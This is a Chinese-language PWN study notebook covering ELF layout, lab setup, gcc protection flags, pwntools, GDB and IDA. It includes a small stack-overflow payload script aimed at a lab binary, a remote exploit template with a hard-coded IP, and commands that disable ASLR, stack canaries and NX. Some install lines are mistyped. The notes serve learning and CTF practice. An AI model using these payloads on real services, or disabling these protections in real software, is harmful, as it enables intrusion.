PWN学习笔记

PWN学习笔记

PWN入门

https://blog.csdn.net/weixin_42526849/article/details/130898430

ELF file in DISK and MEMORY Address

demo.c

#include <stdlib.h>

int globalVal = 10;
static int staticGlobalVal = 10;

int main()
{
        static int staticVal = 2;

        int localVal = 1;
        int arr[10] = {1,2};
        char ch1[] = "abc";
        const char* ch2 = "abc";

        int* p1 = (int*)malloc(sizeof(int) * 10);
        int* p2 = (int*)calloc(10,sizeof(int));
        int* p3 = (int*)realloc(p1, sizeof(int) * 20);

        free(p2);
        free(p3);

        p2 = nullptr;
        p3 = nullptr;

        return 0;
}
 g++ demo.c -o demo

┌──(kali㉿kali)-[/tmp/cdemo]
└─objdump -s demo

demo:     file format elf64-x86-64

Contents of section .note.gnu.property:
 0350 04000000 10000000 05000000 474e5500  ............GNU.
 0360 028000c0 04000000 01000000 00000000  ................
Contents of section .note.gnu.build-id:
 0370 04000000 14000000 03000000 474e5500  ............GNU.
 0380 750170de 81f40cc7 f6ed4dfa f301295a  u.p.......M...)Z
 0390 62e7db2f                             b../            
Contents of section .interp:
 0394 2f6c6962 36342f6c 642d6c69 6e75782d  /lib64/ld-linux-
 03a4 7838362d 36342e73 6f2e3200           x86-64.so.2.    
Contents of section .gnu.hash:
 03b0 02000000 09000000 01000000 06000000  ................
 03c0 00008100 00000000 09000000 00000000  ................
 03d0 d165ce6d                             .e.m            
Contents of section .dynsym:
 03d8 00000000 00000000 00000000 00000000  ................
 03e8 00000000 00000000 01000000 12000000  ................
 03f8 00000000 00000000 00000000 00000000  ................
 0408 15000000 12000000 00000000 00000000  ................
 0418 00000000 00000000 5e000000 20000000  ........^... ...
 0428 00000000 00000000 00000000 00000000  ................
 0438 36000000 12000000 00000000 00000000  6...............
 0448 00000000 00000000 7a000000 20000000  ........z... ...
 0458 00000000 00000000 00000000 00000000  ................
 0468 0e000000 12000000 00000000 00000000  ................
 0478 00000000 00000000 06000000 12000000  ................
 0488 00000000 00000000 00000000 00000000  ................
 0498 89000000 20000000 00000000 00000000  .... ...........
 04a8 00000000 00000000 27000000 22000000  ........'..."...
 04b8 00000000 00000000 00000000 00000000  ................
Contents of section .dynstr:
 04c8 00667265 65007265 616c6c6f 63006d61  .free.realloc.ma
 04d8 6c6c6f63 005f5f6c 6962635f 73746172  lloc.__libc_star
 04e8 745f6d61 696e005f 5f637861 5f66696e  t_main.__cxa_fin
 04f8 616c697a 65006361 6c6c6f63 006c6962  alize.calloc.lib
 0508 632e736f 2e360047 4c494243 5f322e33  c.so.6.GLIBC_2.3
 0518 3400474c 4942435f 322e322e 35005f49  4.GLIBC_2.2.5._I
 0528 544d5f64 65726567 69737465 72544d43  TM_deregisterTMC
 0538 6c6f6e65 5461626c 65005f5f 676d6f6e  loneTable.__gmon
 0548 5f737461 72745f5f 005f4954 4d5f7265  _start__._ITM_re
 0558 67697374 6572544d 436c6f6e 65546162  gisterTMCloneTab
 0568 6c6500                               le.             
Contents of section .gnu.version:
 056c 00000200 03000100 02000100 02000200  ................
 057c 01000200                             ....            
Contents of section .gnu.version_r:
 0580 01000200 3d000000 10000000 00000000  ....=...........
 0590 b4919606 00000300 47000000 10000000  ........G.......
 05a0 751a6909 00000200 52000000 00000000  u.i.....R.......
Contents of section .rela.dyn:
 05b0 d03d0000 00000000 08000000 00000000  .=..............
 05c0 60110000 00000000 d83d0000 00000000  `........=......
 05d0 08000000 00000000 20110000 00000000  ........ .......
 05e0 28400000 00000000 08000000 00000000  (@..............
 05f0 28400000 00000000 c03f0000 00000000  (@.......?......
 0600 06000000 02000000 00000000 00000000  ................
 0610 c83f0000 00000000 06000000 03000000  .?..............
 0620 00000000 00000000 d03f0000 00000000  .........?......
 0630 06000000 05000000 00000000 00000000  ................
 0640 d83f0000 00000000 06000000 08000000  .?..............
 0650 00000000 00000000 e03f0000 00000000  .........?......
 0660 06000000 09000000 00000000 00000000  ................
Contents of section .rela.plt:
 0670 00400000 00000000 07000000 01000000  .@..............
 0680 00000000 00000000 08400000 00000000  .........@......
 0690 07000000 04000000 00000000 00000000  ................
 06a0 10400000 00000000 07000000 06000000  .@..............
 06b0 00000000 00000000 18400000 00000000  .........@......
 06c0 07000000 07000000 00000000 00000000  ................
Contents of section .init:
 1000 4883ec08 488b05c5 2f000048 85c07402  H...H.../..H..t.
 1010 ffd04883 c408c3                      ..H....         
Contents of section .plt:
 1020 ff35ca2f 0000ff25 cc2f0000 0f1f4000  .5./...%./....@.
 1030 ff25ca2f 00006800 000000e9 e0ffffff  .%./..h.........
 1040 ff25c22f 00006801 000000e9 d0ffffff  .%./..h.........
 1050 ff25ba2f 00006802 000000e9 c0ffffff  .%./..h.........
 1060 ff25b22f 00006803 000000e9 b0ffffff  .%./..h.........
Contents of section .plt.got:
 1070 ff256a2f 00006690                    .%j/..f.        
Contents of section .text:
 1080 31ed4989 d15e4889 e24883e4 f0505445  1.I..^H..H...PTE
 1090 31c031c9 488d3dce 000000ff 151f2f00  1.1.H.=......./.
 10a0 00f4662e 0f1f8400 00000000 0f1f4000  ..f...........@.
 10b0 488d3d89 2f000048 8d05822f 00004839  H.=./..H.../..H9
 10c0 f8741548 8b05fe2e 00004885 c07409ff  .t.H......H..t..
 10d0 e00f1f80 00000000 c30f1f80 00000000  ................
 10e0 488d3d59 2f000048 8d35522f 00004829  H.=Y/..H.5R/..H)
 10f0 fe4889f0 48c1ee3f 48c1f803 4801c648  .H..H..?H...H..H
 1100 d1fe7414 488b05cd 2e000048 85c07408  ..t.H......H..t.
 1110 ffe0660f 1f440000 c30f1f80 00000000  ..f..D..........
 1120 f30f1efa 803d112f 00000075 2b554883  .....=./...u+UH.
 1130 3daa2e00 00004889 e5740c48 8b3de62e  =.....H..t.H.=..
 1140 0000e829 ffffffe8 64ffffff c605e92e  ...)....d.......
 1150 0000015d c30f1f00 c30f1f80 00000000  ...]............
 1160 f30f1efa e977ffff ff554889 e54883ec  .....w...UH..H..
 1170 60c745fc 01000000 660fefc0 0f2945b0  `.E.....f....)E.
 1180 0f2945c0 660fd645 d0c745b0 01000000  .)E.f..E..E.....
 1190 c745b402 000000c7 45ac6162 6300488d  .E......E.abc.H.
 11a0 055f0e00 00488945 f0bf2800 0000e89d  ._...H.E..(.....
 11b0 feffff48 8945e8be 04000000 bf0a0000  ...H.E..........
 11c0 00e87afe ffff4889 45e0488b 45e8be50  ..z...H.E.H.E..P
 11d0 00000048 89c7e885 feffff48 8945d848  ...H.......H.E.H
 11e0 8b45e048 89c7e845 feffff48 8b45d848  .E.H...E...H.E.H
 11f0 89c7e839 feffff48 c745e000 00000048  ...9...H.E.....H
 1200 c745d800 000000b8 00000000 c9c3      .E............  
Contents of section .fini:
 1210 4883ec08 4883c408 c3                 H...H....       
Contents of section .rodata:
 2000 01000200 61626300                    ....abc.        
Contents of section .eh_frame_hdr:
 2008 011b033b 2c000000 04000000 18f0ffff  ...;,...........
 2018 78000000 68f0ffff a0000000 78f0ffff  x...h.......x...
 2028 48000000 61f1ffff b8000000           H...a.......    
Contents of section .eh_frame:
 2038 14000000 00000000 017a5200 01781001  .........zR..x..
 2048 1b0c0708 90010710 14000000 1c000000  ................
 2058 28f0ffff 22000000 00000000 00000000  (..."...........
 2068 14000000 00000000 017a5200 01781001  .........zR..x..
 2078 1b0c0708 90010000 24000000 1c000000  ...............
 2088 98efffff 50000000 000e1046 0e184a0f  ....P......F..J.
 2098 0b770880 003f1a3b 2a332422 00000000  .w...?.;*3$"....
 20a8 14000000 44000000 c0efffff 08000000  ....D...........
 20b8 00000000 00000000 1c000000 5c000000  ............\...
 20c8 a1f0ffff a5000000 00410e10 8602430d  .........A....C.
 20d8 0602a00c 07080000 00000000           ............    
Contents of section .note.ABI-tag:
 20e4 04000000 10000000 01000000 474e5500  ............GNU.
 20f4 00000000 03000000 02000000 00000000  ................
Contents of section .init_array:
 3dd0 60110000 00000000                    `.......        
Contents of section .fini_array:
 3dd8 20110000 00000000                     .......        
Contents of section .dynamic:
 3de0 01000000 00000000 3d000000 00000000  ........=.......
 3df0 0c000000 00000000 00100000 00000000  ................
 3e00 0d000000 00000000 10120000 00000000  ................
 3e10 19000000 00000000 d03d0000 00000000  .........=......
 3e20 1b000000 00000000 08000000 00000000  ................
 3e30 1a000000 00000000 d83d0000 00000000  .........=......
 3e40 1c000000 00000000 08000000 00000000  ................
 3e50 f5feff6f 00000000 b0030000 00000000  ...o............
 3e60 05000000 00000000 c8040000 00000000  ................
 3e70 06000000 00000000 d8030000 00000000  ................
 3e80 0a000000 00000000 a3000000 00000000  ................
 3e90 0b000000 00000000 18000000 00000000  ................
 3ea0 15000000 00000000 00000000 00000000  ................
 3eb0 03000000 00000000 e83f0000 00000000  .........?......
 3ec0 02000000 00000000 60000000 00000000  ........`.......
 3ed0 14000000 00000000 07000000 00000000  ................
 3ee0 17000000 00000000 70060000 00000000  ........p.......
 3ef0 07000000 00000000 b0050000 00000000  ................
 3f00 08000000 00000000 c0000000 00000000  ................
 3f10 09000000 00000000 18000000 00000000  ................
 3f20 fbffff6f 00000000 00000008 00000000  ...o............
 3f30 feffff6f 00000000 80050000 00000000  ...o............
 3f40 ffffff6f 00000000 01000000 00000000  ...o............
 3f50 f0ffff6f 00000000 6c050000 00000000  ...o....l.......
 3f60 f9ffff6f 00000000 03000000 00000000  ...o............
 3f70 00000000 00000000 00000000 00000000  ................
 3f80 00000000 00000000 00000000 00000000  ................
 3f90 00000000 00000000 00000000 00000000  ................
 3fa0 00000000 00000000 00000000 00000000  ................
 3fb0 00000000 00000000 00000000 00000000  ................
Contents of section .got:
 3fc0 00000000 00000000 00000000 00000000  ................
 3fd0 00000000 00000000 00000000 00000000  ................
 3fe0 00000000 00000000                    ........        
Contents of section .got.plt:
 3fe8 e03d0000 00000000 00000000 00000000  .=..............
 3ff8 00000000 00000000 36100000 00000000  ........6.......
 4008 46100000 00000000 56100000 00000000  F.......V.......
 4018 66100000 00000000                    f.......        
Contents of section .data:
 4020 00000000 00000000 28400000 00000000  ........(@......
 4030 0a000000 0a000000 02000000           ............    
Contents of section .comment:
 0000 4743433a 20284465 6269616e 2031342e  GCC: (Debian 14.
 0010 322e302d 31392920 31342e32 2e3000    2.0-19) 14.2.0. 

┌──(kali㉿kali)-[/tmp/cdemo

增加输入等待:

┌──(root㉿kali)-[/tmp/cdemo]
└─# cat demo.c   

#include <stdlib.h>
#include <iostream>

int globalVal = 10;
static int staticGlobalVal = 10;

int main()
{
        static int staticVal = 2;
        char ch;

        int localVal = 1;
        int arr[10] = {1,2};
        char ch1[] = "abc";
        const char* ch2 = "abc";

        int* p1 = (int*)malloc(sizeof(int) * 10);
        int* p2 = (int*)calloc(10,sizeof(int));
        int* p3 = (int*)realloc(p1, sizeof(int) * 20);

        free(p2);
        free(p3);

        p2 = nullptr;
        p3 = nullptr;

        std::cout << "Please Input a char then click Enter:";
        ch = std::cin.get();        
        std::cout << "You enter is:" << ch << std::endl;

        return 0;
}

g++ demo.c -o demo
./demo
ps -ef |grep demo
cat /proc/pid/maps
#output line too long, 《略》

Ubuntu配置PWN环境的命令如下

ubuntu install

#ubuntu 刚安装完基本
#vmware中复制粘贴
sudo apt update && sudo apt autoremove open-vm-tools  # 卸载旧工具并更新源
sudo apt install open-vm-tools open-vm-tools-desktop  # 安装核心组件

apt update
apt install net-tools
apt install openssh-server
systemctl start ssh
systemctl enable ssh

ubuntu固定IP

vi /etc/netplan/01-network-manager-all.yaml

network:
  version: 2
  renderer: NetworkManager
  ethernets:
    ens33:
      dhcp4: no
      addresses: [192.168.1.180/24]
      gateway4: 192.168.1.1
      nameservers:
        addresses: [8.8.8.8, 114.114.114.114]

#使配置生效
netplan apply 
#验证 
ip a

#disable ipv6
echo "net.ipv6.conf.ens33.disable_ipv6 = 1" >> /etc/sysctl.conf 
sysctl -p 
ip a

安装PWN相关工具

apt update

#install gcc and git
apt install gcc
apt install git

#install python relation suit
apt install python3-pip
#pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pwntools
apt install python3-pwntools

apt install checksec
checksec -h
ROPgadget --help
#pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -U setuptools
apt install python3-setuptools

#install two componets:
apt-get install libc6:i386
#上面这个安装说找不到
apt install libc6-dev-i386

#install one_gadget:
apt -y install ruby

gem sources --add https://mirrors.tuna.tsinghua.edu.cn/rubygems/ --remove https://rubygems.org/
gem sources -l  # 验证是否仅剩清华源

gem install one_gadget
one_gadget
#install pwndbg
git clone https://github.com/pwndbg/pwndbg
cd ./pwndbg/
./setup.sh

apt-get install fcitx
#install sougou input
#dpkg -i sogoupinyin_4.0.1.2800_x86_64.deb
wget https://ime-sec.gtimg.com/202510091413/b5738ef8a74ae2bcd444928865e0be0f/pc/dl/gzindex/1680521603/sogoupinyin_4.2.1.145_amd64.deb
dpkg -i  sogoupinyin_4.2.1.145_amd64.deb

apt install libqt5qml5 libqt5quick5 libqt5quickwidgets5 qml-module-qtquick2 -y
apt install libgsettings-qt1
wget -q0 - https://download.sublimetext.com/sublimehq-pub.gpg | apt-key add -
apt-get install apt-transport-https
echo "deb https://downoad.sublimetext.com/ apt/stable/* | tee /etc/apt/sources.list.d/sublime-text.list"
apt-get install sublime-text
one_gadget /lib/x86_64-linux-gnu/libc.so.6

#install main_arena_offset
git clone https://github.com/bash-c/main_arena_offset.git
cd main_area_offset/
./main_arena /lib/x86_64-linux-gnu/libc.so.6

PwnTools基本用法

send(data): 发送数据
sendline(data) : 发送一行数据,相当于在末尾加\n      
recv(numb=4096, timeout=default) : 给出接收字节数,timeout指定超时
recvuntil(delims, drop=False) : 接收到delims的pattern
recvline(keepends=True) : 接收到\n,keepends指定保留\n
recvall() : 接收到EOF
recvrepeat(timeout=default) : 接收到EOF或timeout
interactive() : 与shell交互
sendafter(b"Username:", b"alice") :等待服务器响应包含"Username:"后,发送"alice"并自动添加换行

GCC安全保护编译开关

在编译器层面,gcc提供了不少安全方面的编译选项,主要有:

item opt descript Android用法
NX(DEP) -z execstack // 禁用NX保护
-z noexecstack // 开启NX保护
堆栈禁止执行
RELRO -z norelro // 关闭-z lazy // 部分开启 <z now // 全部开启 GOT写保护 Application.mk禁用RELRO APP_LDFLAGS += -Wl,-z,norelro
PIE(ASLR) -fpie -pie // 开启PIE,此时强度为1 -fPIE -pie // 开启PIE,此时为最高强度2 代码段、数据段地址随机化 Application.mk禁用PIE(已知部分NDK不支持禁用,NDK r10e可以) APP_LDFLAGS += -Wl,-no-pie APP_CFLAGS += -fno-PIE
CANARY -fno-stack-protector // 禁用 -fstack-protector // 开启 -fstack-protector-all // 完全开启 堆栈溢出哨兵 禁用CANARY,Android.mk配置LOCAL_CFLAGS += -fno-stack-protector Application.mk APP_CFLAGS += -fno-stack-protector
FORTIFY -D_FORTIFY_SOURCE=1 // 较弱的检查 -D_FORTIFY_SOURCE=2 // 较强的检查 常用函数加强检查 关闭:LOCAL_CFLAGS +=-U_FORTIFY_SOURCE

NX(DEP)

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令

RELRO

在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处.
GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读.
设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。

还有一个专门的checksec脚本(参考如下)来检测gcc编译出来的可执行文件可执行文件&spm=1001.2101.3001.7020,开启了哪些安全选项。

PIE(ASLR)

为了提升系统的安全,增大漏洞的攻击难度,提出了进程地址空间各区域随机化的措施,称之为ASLR(Address Space Layout Randomization)。ASLR通过随机放置进程关键数据区域的地址空间来防止攻击者能可靠地跳转到内存的特定位置来利用函数。现代操作系统一般都加设这一机制,以防范恶意程序对已知地址进行Return-to-libc攻击。

地址空间随机化分为3个等级:

0 关闭
1 半随机 code&data、stack、mmap、vdso随机化
2 全随机 在1的基础上加上heap随机化

root权限下,有多种方法可以关闭ALSR:

方法1: echo 0 > /proc/sys/kernel/randomize_va_space
方法2:sysctl -w kernel.randomize_va_space=0

ALSR其中的code&data随机化需要gcc pie选项的支持。因为打开ASLR以后,支持exe文件code&data的随机化,所以需要把exe文件编译成位置无关代码,这种编译出来的exe文件格式为ET_DYN。可以使用-pie选项来编译ET_DYN类型的exe文件。

gcc编译选项:

gcc -o test test.c                  // 默认情况下,不开启PIE
gcc -fpie -pie -o test test.c       // 开启PIE,此时强度为1
gcc -fPIE -pie -o test test.c       // 开启PIE,此时为最高强度2
gcc -fpic -o test test.c            // 开启PIC,此时强度为1,不会开启PIE
gcc -fPIC -o test test.c            // 开启PIC,此时为最高强度2,不会开启PIE

CANARY(栈保护)

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。
gcc在4.2版本中添加了-fstack-protector和-fstack-protector-all编译参数以支持栈保护功能,4.9新增了-fstack-protector-strong编译参数让保护的范围更广。

gcc编译选项:

gcc -o test test.c                          // 默认情况下,不开启Canary保护
gcc -fno-stack-protector -o test test.c     //禁用栈保护
gcc -fstack-protector -o test test.c        //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o test test.c    //启用堆栈保护,为所有函数插入保护代码

FORTIFY

fority其实非常轻微的检查,用于检查是否存在缓冲区溢出的错误。适用情形是程序采用大量的字符串或者内存操作函数,如memcpy,memset,stpcpy,strcpy,strncpy,strcat,strncat,sprintf,snprintf,vsprintf,vsnprintf,gets以及宽字符的变体。
gcc生成了一些附加代码,通过对数组大小的判断替换strcpy, memcpy, memset等函数名,达到防止缓冲区溢出的作用。

gcc编译选项:

gcc -o test test.c                          // 默认情况下,不会开这个检查
gcc -D_FORTIFY_SOURCE=1 -o test test.c      // 较弱的检查
gcc -D_FORTIFY_SOURCE=2 -o test test.c      // 较强的检查

_FORTIFY_SOURCE设为1,并且将编译器设置为优化1(gcc -O1),以及出现上述情形,那么程序编译时就会进行检查但又不会改变程序功能。
_FORTIFY_SOURCE设为2,有些检查功能会加入,但是这可能导致程序崩溃。
gcc -D_FORTIFY_SOURCE=1 仅仅只会在编译时进行检查 (特别像某些头文件 #include <string.h>)
gcc -D_FORTIFY_SOURCE=2 程序执行时也会有检查 (如果检查到缓冲区溢出,就终止程序)

_read_chk 函数是 C 语言中 read 函数的一个安全增强版本,它是由编译器在使用了 FORTIFY_SOURCE 宏定义时自动引入的。当你在编译你的程序时使用 -D_FORTIFY_SOURCE 标志(通常与优化选项 -O 结合使用),编译器会尝试用这些增强的、更安全的函数版本替换掉一些标准的库函数。

sample:

gcc -o test test.c                  // 默认情况下,开启NX保护
gcc -z execstack -o test test.c     // 禁用NX保护
gcc -z noexecstack -o test test.c   // 开启NX保护
gcc -z execstack -z norelro -no-pie -fno-stack-protector -o demo2 demo2.c

RPATH/RUNPATH

可以在编译时指定程序运行时动态链接库的搜寻路径,防止将一些动态库恶意替换,以达到攻击目的。

gcc –Wl,-rpath              // 指定运行时动态链接库的搜寻路径,硬编码进ELF文件 “RPATH”选项。
LD_RUN_PATH 环境变量         // 指定运行时动态链接库的搜寻路径,硬编码进ELF文件 “RPATH”选项。

查找动态库的过程中,大致的顺序是 RPATHLD_LIBRARY_PATHRUNPATH ,所以,如果使用的是 RPATH 用户将无法进行调整,所以建议使用 RUNPATH

gcc通过以下选项指定使用RPATH还是RUNPATH

-Wl,--disable-new-dtags     // 表明使用 RPATH 
-Wl,--enable-new-dtags      // 标示使用 RUNPATH 
  • RPATH
$ gcc -o test test.c -Wl,-rpath,./
$ readelf -d test
AI写代码12

Dynamic section at offset 0xe18 contains 25 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x000000000000000f (RPATH) Library rpath: [./]

  • RUNPATH
$ gcc -o test test.c -Wl,-rpath,./ -Wl,--enable-new-dtags
$ readelf -d test
AI写代码12

Dynamic section at offset 0xe18 contains 25 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x000000000000001d (RUNPATH) Library runpath: [./]

checksec 缺省编译与去掉保护编译结果对比

RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 40 Symbols No 0 1
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 37 Symbols No 0 1

check script

cat elfcheck.py
import sys
from pwn import *

filename='/bin/cat'

if len(sys.argv) > 1:
    filename=sys.argv[1]
else:
    print("Usage: "+sys.argv[0]+" <filename>\n")
    print("Example: "+sys.argv[0]+" /bin/cat\n")

print("elf file name::", filename)

e = ELF(filename)   #//加载文件

print('address:'+hex(e.address))  # 文件装载的基地址
print('symbols:'+hex(e.symbols['write'])) # 函数地址
print('got    :'+hex(e.got['write'])) # GOT表的地址
print('plt    :'+hex(e.plt['write'])) # PLT的地址

checksec

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

Relro:Full Relro(重定位表只读)
Relocation Read Only, 重定位表只读。重定位表即.got 和 .plt 两个表。
Stack:No Canary found(能栈溢出)
NX: NX enable(不可执行内存)
Non-Executable Memory,不可执行内存。
PIE: PIE enable(开启ASLR 地址随机化)
Address space layout randomization,地址空间布局随机化。通过将数据随机放置来防止攻击。

readelf

显示关于 ELF 格式文件内容的信息

readelf -l demo2
./demo2 &
cat /proc/pid/maps

pwn本地

##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack-example')
success_addr = 0x0804843b
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

pwn远程

from pwn import *
io = remote("1.95.36.136",2099)
io.send("1")
for i in range(5):
        io.sendline("0"*50)
io.interactive()

栈溢出利用

栈溢出是缓冲区溢出中的一种。函数的局部变量通常保存在栈上。如果这些缓冲区发生溢出,就是栈溢出。最经典的栈溢出利用方式是覆盖函数的返回地址,以达到劫持程序控制流的目的。

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变(覆盖)。是一种特定的缓冲区溢出漏洞,类似的还有heap、bss溢出等。

栈溢出的前提是:

  • 程序必须向栈上写入数据

  • 程序对某个函数或者某个模块的输入数据的大小没有控制得当

常发生栈溢出的危险函数

输入:
gets():直接读取一行,到换行符’\n’为止,同时’\n’被转换为’\x00’;scanf(),格式化字符串中的%s不会检查长度;
vscanf():同上。
输出:
sprintf():将格式化后的内容写入缓冲区中,但是不检查缓冲区长度
字符串:
strcpy():遇到’\x00’停止,不会检查长度,经常容易出现单字节写0(off by one)溢出;
strcat():同上。

GDB调试器

  • GDB是GNU开源组织发布的一个强大的UNIX下的C/C++程序调试工具,它自身并没有Windows上大多数IDE调试工具的高可视化和图形化功能,但命令行调试也具有其自身优点。
    • 启动:gdb elf 或 gdb attach pid
    • 查看某地址的反汇编代码:disass /r main 和x/16i main(查看内存:x /nfu )
    • 单步调试:si、step count(进入函数内部)或ni、next count
    • 运行命令:run或continue
    • 设置断点:break 或 b *$rebase(偏移地址)
    • 指向当前程序运行地址:x/8i $pc
    • 查看字符串:x/s
    • 查看寄存器的值:p/x $eax
    • 查看栈、bss段是否可以执行:vmmap
    • 汇编查看 pwndbg> pdisass addr
file demo
set args -s ./data/uvd.tcl   :设置参数

######################################
break  main   : 在main函数处下断点
b  print      : 在print函数处下断点
list/l                     :list 1 列出源码。根据源码指定 行号设置断点。
b 行号                     :b 20 在 20 行位置设置断点。
b 文件名:行数 
b 文件名:函数
b 10 if i = 6              :条件断点(当 i = 6 时打在第10行),再执行 run
info b                     : 查看断点信息表
delete 1                   : 删除断点1
delete                     : 删除所有断点
enable 1                   : 使能断点1
disable 1                  :禁用断点1
save breakpoints 文件名.txt :保存断点
source 文件名.txt           : 还原断点信息
bt                         : 查看调用栈
######################################
r/run                      : 运行程序/重新运行
n/next         : 下一条指令(会越过函数)
s/step         : 下一条指令(会进入函数)
p/print        :p i 查看变量的值。
c/continue     :继续执行断点后续指令。
finish         :结束当前函数调用。
q/quit         :退出 gdb 当前调试。
观察点
watch 写观察点: 当观察点背写入时产生中断
rwatch:读观察点: 当观察点的值背读取时产生中断
awatch:读写观察点: 读写观察点

info thread:查看所有线程信息
thread num :切换线程

thread find:查找线程(只能查找地址,id,名字。后面的函数不能)
thread name:设置线程名字(先切换到像改名字的线程,然后执行)
b breakpoint thread id:为线程设置断点(只有设置的线程会在中断处停止,其他线程不会)

Socat

 sudo apt install socat
 socat

socat 是一个多功能的数据中继工具,能够将任意两个输入/输出流(如文件、设备、网络套接字等)连接起来,实现双向数据传输。与 netcat 相比,socat 提供了更强大的功能,包括:

  • 协议支持广泛:支持 TCP、UDP、UNIX 域套接字、SSL/TLS 加密等多种协议。
  • 安全性增强:支持 chroot、用户权限切换(su)和 SSL/TLS 加密。
  • 灵活配置:允许复杂的地址类型组合和数据流控制。
  • 调试能力:通过选项如 -x-v,提供详细的流量监控和日志记录。
  • 并发处理:通过 fork 选项支持多客户端连接。

典型用途

  • 调试本地守护进程(如 Android 的 adbdlogcatd)。

  • 在渗透测试中实现反向 Shell、端口转发或数据嗅探。

  • 在物联网或工业控制场景中实现串口到网络的桥接。

    socat 的基本命令格式为:

socat命令格式
socat [options] <address1> <address2>
AI写代码bash1
  • <address1><address2>:表示两个数据通道(如文件、套接字、管道)。
  • [options]:控制 socat 的行为,如调试、并发或权限管理。

IDA Pro远程调试

  • 步骤1 安装IDA Pro

  • 步骤2 将IDA Pro 根目录 dbgsrv 下的 2个文件放到 linux 虚拟机下

    linux_server\linux_server64

  • 步骤3 如调试32位程序,可能需要安装32位兼容库lib32z1和lib32stdc++6

    apt install lib32z1
    apt install lib32stdc++6
    
  • 步骤4 将被调试程序与linux_server放在同一目录(随便哪里,步骤7要指定绝对目录的),运行linux_server

  • 步骤5 IDA pro加载被调试目标程序main
  • 步骤6 选择远程调试器
  • 步骤7 配置调试器参数
  • 步骤8 按F2下断点、启动调试(F9)
  • 步骤9 远程调试连接成功
  • 步骤10 按F7单步步入被调函数,按F8单步不进入调用函数

IDA快捷键

静态反汇编快捷键:
Shift + F12                //进入字符串窗口,所有字符串都在这
Ctrl + X                   //可以知道那个函数引用了这个字符串
X                          //查看函数在哪里被引用了
G                          //将地址复制下来之后,如果想要回去,按G输入地址即可
ALT + T                    //文本搜索
N                          //修改函数、变量的名称
Ctrl + Z                   //撤销操作
/                          //添加注释
\                          //隐藏系统自己写上的注释
D                          //转化为数据的形式
A                          //转化为字符类型
C                          //转化为汇编代码形式
U                          //转化为原始的字节模式
Shift + E                  //导出数据
Ctrl + E                   //找到程序的起始位置
R                          //将常量转化为单个字符
Ctrl + k                   //打开函数的栈,查看用到了那些变量
ALT + M                    //添加标记
Ctrl + M                   //查看标记,双击跳转
ESC                        //回退键,能够倒回上一部操作的视图(只有在反汇编窗口才是这个作用,如果是在其他窗口按下esc,会关闭该窗口)
Tab                        //会从反汇编代码跳转到反汇编代码
Y                          //修改类型
动态调试快捷键:
F2      下断点    
F7      单步步入
F8      单步步过
F5      查看伪代码
F9      运行程序,直到遇到断点或程序结束
Esc     返回跳转前的位置

汇编命令

汇编命令

MOV – 数据传送

格式MOV 目标, 源
功能:将源操作数复制到目标操作数

示例

mov rax, rbx        ; 寄存器到寄存器
mov [rsp], rdx      ; 寄存器到内存
mov ecx, 42         ; 立即数到寄存器
mov rdx, [rsi+8]    ; 内存到寄存器

标志位影响:不影响任何标志位

LEA – 加载有效地址

格式LEA 目标, 源
功能:计算源操作数的有效地址(不访问内存),结果存入目标
特点:常用于地址计算和算术运算优化

示例

lea rax, [rbx+rcx*8+20h]  ; 计算复杂地址
lea rsi, [rel data_area]  ; 获取相对地址

标志位影响:不影响任何标志位

算术运算指令


ADD/SUB – 加减法

格式ADD/SUB 目标, 源
功能:执行加法/减法运算,结果存入目标

IMUL – 有符号乘法

格式

  • IMUL 目标(单操作数,隐含使用RAX)
  • IMUL 目标, 源(双操作数)
  • IMUL 目标, 源, 立即数(三操作数)
SAR – 算术右移

格式SAR 目标, 计数
功能:带符号扩展的右移(最高位补符号位)

示例

sar rax, 3      ; RAX算术右移3位
sar byte [rdi], 1 ; 内存操作数右移

标志位影响:OF, SF, ZF, AF, CF, PF

逻辑运算指令


OR – 按位或

格式OR 目标, 源
功能:按位或运算,结果存入目标

示例

or rax, rbx     ; 寄存器或运算
or [rsp], rdx   ; 内存或运算

标志位影响:OF=0, SF, ZF, AF=未定义, CF=0, PF

XOR – 按位异或

格式XOR 目标, 源
功能:按位异或运算,常用于清零寄存器

示例

xor eax, eax    ; 快速清零EAX
xor [rdi], rsi  ; 内存异或运算

标志位影响:OF=0, SF=0, ZF, AF=未定义, CF=0, PF

TEST – 逻辑测试

格式TEST 操作数1, 操作数2
功能:执行按位与运算并设置标志位,不保存结果

示例

test rax, rax   ; 检查RAX是否为0
test [rbx], 1   ; 测试最低位

